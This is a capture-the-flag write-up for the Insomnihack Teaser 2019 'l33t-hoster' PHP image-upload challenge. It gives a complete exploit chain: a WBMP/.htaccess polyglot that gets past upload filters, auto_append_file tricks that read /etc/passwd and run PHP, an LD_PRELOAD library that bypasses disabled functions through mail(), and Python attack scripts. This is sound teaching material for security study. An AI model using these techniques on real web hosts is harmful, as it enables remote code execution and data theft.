<-- home

Insomnihack Teaser 2019 / l33t-hoster

Description

You can host your l33t pictures here.


The Challenge

Another great challenge by Insomnihack!

This challenge consisted of a file upload service, allowing a user to upload images in a folder created specifically for your session.

challenge

By checking the source code, we can find the HTML comment <!-- /?source -->, suggesting that we can leak the source code with the GET parameter source.

Here is the challenge code :

<?php
if (isset($_GET["source"]))
    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {
    $_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {
    mkdir($userdir);
}

$disallowed_ext = array(
    "php",
    "php3",
    "php4",
    "php5",
    "php7",
    "pht",
    "phtm",
    "phtml",
    "phar",
    "phps",
);


if (isset($_POST["upload"])) {
    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
        die("yuuuge fail");
    }

    $tmp_name = $_FILES["image"]["tmp_name"];
    $name = $_FILES["image"]["name"];
    $parts = explode(".", $name);
    $ext = array_pop($parts);

    if (empty($parts[0])) {
        array_shift($parts);
    }

    if (count($parts) === 0) {
        die("lol filename is empty");
    }

    if (in_array($ext, $disallowed_ext, TRUE)) {
        die("lol nice try, but im not stupid dude...");
    }

    $image = file_get_contents($tmp_name);
    if (mb_strpos($image, "<?") !== FALSE) {
        die("why would you need php in a pic.....");
    }

    if (!exif_imagetype($tmp_name)) {
        die("not an image.");
    }

    $image_size = getimagesize($tmp_name);
    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
        die("lol noob, your pic is not l33t enough");
    }

    $name = implode(".", $parts);
    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {
    echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";

?>

<h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data">
    <input type="file" name="image">
    <input type="submit" name=upload>
</form>
<!-- /?source -->

Determining the goal of the challenge

The script above allows users to upload files at the location images/[20_random_bytes_in_hex]/[filename].

After a succesful upload, the location of the upload is displayed, allowing the user to visit his file.

We can’t upload any kind of file though. In fact, there are a few constraints we have to respect :

  • The uploaded file cannot have a PHP extension (.php, .php3, .phar, …).
  • The uploaded file cannot contain <?.
  • The uploaded file has to be a valid image of size 1337x1337.

Assuming that we want to obtain RCE, we need to figure out a way to have PHP code execution without using a PHP extension.

Uploading a .htaccess file could help us with that, but with the image restrictions, we need to find a way to create a valid .htaccess/image polyglot.

Finding a .htaccess/image polyglot candidate

The concept behind an .htaccess/image polyglot is that we need an image file that can be interpreted as an .htaccess file without any errors.

Every image file format starts with a few magic bytes used to identify itself. For example, PNGs will start with the 4 bytes \x89PNG. Since \x89PNG isn’t a valid .htacces directive, we won’t be able to use the PNG file format for our polyglot.

Therefore, my first attempt was to find a file format with a signature starting with a # sign. Since the # sign is interpreted as a comment in .htaccess files, the remainder of the image data would be ignored, resulting in a valid .htaccess/image polyglot.

Unfortunately, I couldn’t find an image file format starting with a #.


Later on, one of my teammates (@Tuan_Linh_98) noticed that lines starting with a null byte (\x00) are also ignored in an .htaccess file, just like comments (#).

Looking through the supported image types for exif_imagetype(), we can download a sample of each type and check for a signature starting with a null byte.

A good candidate we found was .wbmp files :

$ xxd original.wbmp  | head
00000000: 0000 8930 8620 0000 0000 0000 0000 0000  ...0. ..........
00000010: 0000 0000 0000 0000 0012 4908 0002 0081  ..........I.....
00000020: 0440 0000 0000 0000 0000 0000 2400 0009  .@..........$...
00000030: 2092 4800 0000 0000 0000 0000 1248 4012   .H..........H@.

Creating the .htaccess/image polyglot

In order to make things simpler, we want to find the smallest possible .wbmp file we can work with. To do so, I used the following PHP script :

<?php

error_reporting(0);

$contents = file_get_contents("../payloads/original.wbmp");
$i = 0;
while (true) {
  $truncated = substr($contents, 0, $i);
  file_put_contents("truncated.wbmp", $truncated);
  if (exif_imagetype("truncated.wbmp")) break;

  $i += 1;
}

echo "Shortest file size : $i\n";

var_dump(exif_imagetype("truncated.wbmp"));
var_dump(getimagesize("truncated.wbmp"));
?>

… resulting in the following output :

$ php solution.php && xxd truncated.wbmp
Shortest file size : 6
int(15)
array(5) {
  [0]=>
  int(1200)
  [1]=>
  int(800)
  [2]=>
  int(15)
  [3]=>
  string(25) "width="1200" height="800""
  ["mime"]=>
  string(18) "image/vnd.wap.wbmp"
}

00000000: 0000 8930 8620                           ...0.

Seems like a valid .wbmp file only requires 6 bytes! We can assume that the width and height are stored in bytes 3-6.

In a hex editor, you can play around with these bytes to figure out how to get a size of 1337x1337. The final image.wbmp of size 1337x1337 looks like this :

$ xxd truncated.wbmp
00000000: 0000 8a39 8a39                           ...9.9

From this file, we can append any data we want, and it’ll be considered as valid : valid_upload

Obtaining PHP code execution

Now that we can upload an .htaccess file, we need to figure out how to get code execution. Because of the filter on <?, we can’t simply upload a PHP script and have it executed.

One of the directives we can use in an .htaccess file is php_value. This directive allows us to overwrite the value of any of the settings here with the PHP_INI_PERDIR flag.

Among these settings, there is auto_append_file, which allows us to specify a file to be appended and included when requesting a PHP file. Turns out that auto_append_file also allows various wrappers such as php://.

Let’s try it out. We’ll upload a .htaccess file specifying a new .corb3nik extension to be executed as PHP, and appending php://filter/convert.base64-encode/resource=/etc/passwd at the end :

POST /? HTTP/1.1
Host: 35.246.234.136
Content-Length: 393
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRLxLDsJy2MLYk3NT
Cookie: PHPSESSID=asdfasdf
Connection: close

------WebKitFormBoundaryRLxLDsJy2MLYk3NT
Content-Disposition: form-data; name="image"; filename="..htaccess"
Content-Type: application/octet-stream


9
9
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-encode/resource=/etc/passwd"
------WebKitFormBoundaryRLxLDsJy2MLYk3NT
Content-Disposition: form-data; name="upload"

Submit
------WebKitFormBoundaryRLxLDsJy2MLYk3NT--

Now we upload a generic trigger.corb3nik file (the content doesn’t matter) and request it.

$ curl http://35.246.234.136/images/86fd160f5f370ffe1c6c35571bd98b7f0ce64742/trigger.corb3nik
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=99

Since we can use php://, this means we can upload base64-encoded PHP code in a file, base64 decode it via the .htaccess file, and have it evaluated before being appended to the response.

To simplify the process, I created a python script :

#!/usr/bin/env python3

import requests
import base64

VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"

COOKIES = {
    "PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"
}

def upload_content(name, content):

    data = {
        "image" : (name, content, 'image/png'),
        "upload" : (None, "Submit Query", None)
    }

    response = requests.post(URL, files=data, cookies=COOKIES)

HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
  var_dump("works");
?>
""")

upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)


response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
print(response.text)

… and when we run it :

$ python solution.py
�9�9
��
string(5) "works"

We can run PHP code now!

Obtaining command execution

With the python script above, we can run arbitrary PHP code. We tried runnning typical shell functions such as system() and exec(), but soon realized that most of these functions are blocked. Calling phpinfo() gave us the whole list :

phpinfo

In situations like this, a known technique to get command execution is through the mail() function.

PHP’s mail() function calls execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...). Because of this implementation, if we were to set the LD_PRELOAD environment variable with a custom library, we can modify the behavior of /bin/sh and gain command execution. You can read more about this here.

Its worth nothing that this will work even if /usr/sbin/sendmail isn’t present. We can demonstrate this with a small PHP script :

<?php
        putenv("LD_PRELOAD=garbage");
        mail('a','a','a');
?>
$ php index.php
ERROR: ld.so: object 'garbage' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
sh: 1: /usr/sbin/sendmail: not found

For the custom library, we’ll overwrite getuid() :

$ cat evil.c
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);
}

int getuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

The code above will run system() with the command specified in the _evilcmd environment variable. The output will be sent to /tmp/_0utput.txt.

Here’s the new Python script for our new exploit (here we’re calling uname -a):

#!/usr/bin/env python3

import requests
import base64

VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"

COOKIES = {
    "PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"
}

def upload_content(name, content):

    data = {
        "image" : (name, content, 'image/png'),
        "upload" : (None, "Submit Query", None)
    }

    response = requests.post(URL, files=data, cookies=COOKIES)

HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=uname -a");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")

upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)


files = { "evil" : open("../payloads/evil.so", "rb") }
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
$ python solution.py # uname -a
�9�9
��
Linux ab5411ade442 4.15.0-1026-gcp #27-Ubuntu SMP Thu Dec 6 18:27:01 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

$ python solution.py # ls -lah /
�9�9
��
total 104K
drwxr-xr-x   1 root root 4.0K Jan 20 08:25 .
drwxr-xr-x   1 root root 4.0K Jan 20 08:25 ..
-rwxr-xr-x   1 root root    0 Jan 20 08:25 .dockerenv
drwxr-xr-x   1 root root 4.0K Jan  9 15:45 bin
drwxr-xr-x   2 root root 4.0K Apr 24  2018 boot
drwxr-xr-x   5 root root  360 Jan 20 08:25 dev
drwxr-xr-x   1 root root 4.0K Jan 20 08:25 etc
-r--------   1 root root   38 Jan 10 15:10 flag
-rwsr-xr-x   1 root root  17K Jan 10 15:10 get_flag
drwxr-xr-x   2 root root 4.0K Apr 24  2018 home
drwxr-xr-x   1 root root 4.0K Nov 12 20:54 lib
drwxr-xr-x   2 root root 4.0K Nov 12 20:55 lib64
drwxr-xr-x   2 root root 4.0K Nov 12 20:54 media
drwxr-xr-x   2 root root 4.0K Nov 12 20:54 mnt
drwxr-xr-x   2 root root 4.0K Nov 12 20:54 opt
dr-xr-xr-x 362 root root    0 Jan 20 08:25 proc
drwx------   1 root root 4.0K Jan 20 09:58 root
drwxr-xr-x   1 root root 4.0K Jan  9 15:46 run
drwxr-xr-x   1 root root 4.0K Nov 19 21:20 sbin
drwxr-xr-x   2 root root 4.0K Nov 12 20:54 srv
dr-xr-xr-x  13 root root    0 Jan 19 20:39 sys
d-wx-wx-wt   1 root root 4.0K Jan 20 21:28 tmp
drwxr-xr-x   1 root root 4.0K Nov 12 20:54 usr
drwxr-xr-x   1 root root 4.0K Jan  9 15:45 var

$ python solution.py # /get_flag
�9�9
��
Please solve this little captcha:
2887032228 + 1469594144 + 3578950936 + 3003925186 + 985175264
11924677758 != 0 :(

We’re almost there! Seems like we have a captcha to solve in order to get the flag.

Solving the captcha

In order to obtain the flag, we need to solve the equation given by the /get_flag binary. The /get_flag binary waits for less than a second for user input, therefore we will need to automate the solver.

Running it a few times, we noticed that the equation only does additions.

I’ve decided to create the solver in C :

$ cat captcha_solver.c
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>

int main() {

        pid_t pid = 0;
        int inpipefd[2];
        int outpipefd[2];

        pipe(inpipefd);
        pipe(outpipefd);
        pid = fork();

        if (pid == 0) {
                dup2(outpipefd[0], STDIN_FILENO);
                dup2(inpipefd[1], STDOUT_FILENO);
                dup2(inpipefd[1], STDERR_FILENO);
                prctl(PR_SET_PDEATHSIG, SIGTERM);
                execl("/get_flag", "get_flag", (char*) NULL);
                exit(1);
        }

        close(outpipefd[0]);
        close(inpipefd[1]);

        char data[0xff] = {0};

        // Read first line
        for (; data[0] != '\n'; read(inpipefd[0], data, 1));

        // Read captcha
        read(inpipefd[0], data, 0xff);

        uint64_t sum = 0;
        char *pch;
        printf("Raw : %s\n", data);
        pch = strtok (data, "+");
        printf("Sum : %lu\n", sum);
        while (pch != 0)  {
                sum += strtoull(pch, 0, 10);
                printf("Operand : %lu\n", atol(pch));
                printf("Sum : %lu\n", sum);
                pch = strtok (0, "+");
        }

        char result[32] = {0};
        sprintf(result, "%lu\n", sum);
        printf("Result : %lu\n", sum);

        write(outpipefd[1], result, 16);
        memset(data, 0, 0xff);
        read(inpipefd[0], data, 0xff);
        printf("Final : %s", data);
}

The code above basically launches /get_flag, fetches the equation, splits it via the + seperator, sums each part, sends it back to the binary and prints the flag.

The final PHP code looks like this :

<?php

// Upload the solver and shared library
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/captcha_solver');
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil_lib');

// Set the captcha_solver as executable
putenv('LD_PRELOAD=/tmp/evil_lib');
putenv("_evilcmd=chmod +x /tmp/captcha_solver");
mail('a','a','a');

// Run the captcha solver
putenv("_evilcmd=cd / && /tmp/captcha_solver");
mail('a','a','a');

// Print output
echo file_get_contents('/tmp/_0utput.txt');
?>

… which results in :

$ python solution.py
�9�9
��
Raw : 4185107874 + 1348303100 + 4161955080 + 4235948880 + 3410743011

Sum : 0
Operand : 4185107874
Sum : 4185107874
Operand : 1348303100
Sum : 5533410974
Operand : 4161955080
Sum : 9695366054
Operand : 4235948880
Sum : 13931314934
Operand : 3410743011
Sum : 17342057945
Result : 17342057945
Final : INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}

Flag : INS{l33t_l33t_l33t_ich_hab_d1ch_li3b}